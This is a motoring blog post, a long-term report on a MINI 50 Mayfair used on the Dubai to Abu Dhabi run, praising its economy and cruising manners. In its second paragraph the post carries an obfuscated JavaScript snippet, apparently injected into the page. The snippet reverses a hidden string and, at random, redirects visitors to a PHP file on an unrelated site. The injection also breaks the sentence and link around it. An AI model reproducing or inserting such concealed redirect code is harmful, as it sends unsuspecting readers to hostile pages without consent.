The Management Fleet // Mini Mayfair

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Life with the MINI 50 Mayfair is progressing rather nicely. We’ve still not had a chance to give the car a proper going over on some of the nice stretches of road in the region, however we’ve had plenty of chance to learn its merits on a high-speed cruise.

The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20118263/titles-to-the-wire-uae-gt-racing-yas-marina-circuit/” target=”_self”>final round of the UAE GT Championship took place at Yas Marina Circuit in Abu Dhabi, so the MINI was called into service on the ever-delightful E11 slog between the two Emirates. With the cruise control set and the radio on full chat, the MINI proved to be more than capable at delivering me to my destination with minimal fuss. By taking the sneaky back way into Yas, there was even a little opportunity to select sport mode, take control of the gears via the paddles and have a little bit of fun.

The MINI’s been drawing a lot of interest from those in the racing community with a number of people asking about its merits. The chocolate brown paintwork is also a talking point, as is the pinstripe detailing in the cabin.

We’re growing to appreciate the merits of the turbocharged 1.6-litre engine – it never fails to deliver on the smile factor when the opportunity arises. However, the aural excitement element is slightly lacking – especially compared to the supercharged Cooper S of yore.

Still, one of the major benefits of the turbo’d engine is its fuel economy. It will happily do a full two days’ worth of running from Dubai to Abu Dhabi and back before the low fuel light makes an appearance. I still remember the time I had a supercharged MINI in the UK and struggled to drive more than 200kms before the tank was drained.

It’s easy for some to knock the MINI as being just a fashion-led frippery, but they’re doing the car a massive disservice. People in this part of the world are really missing out if they’ve never driven a MINI.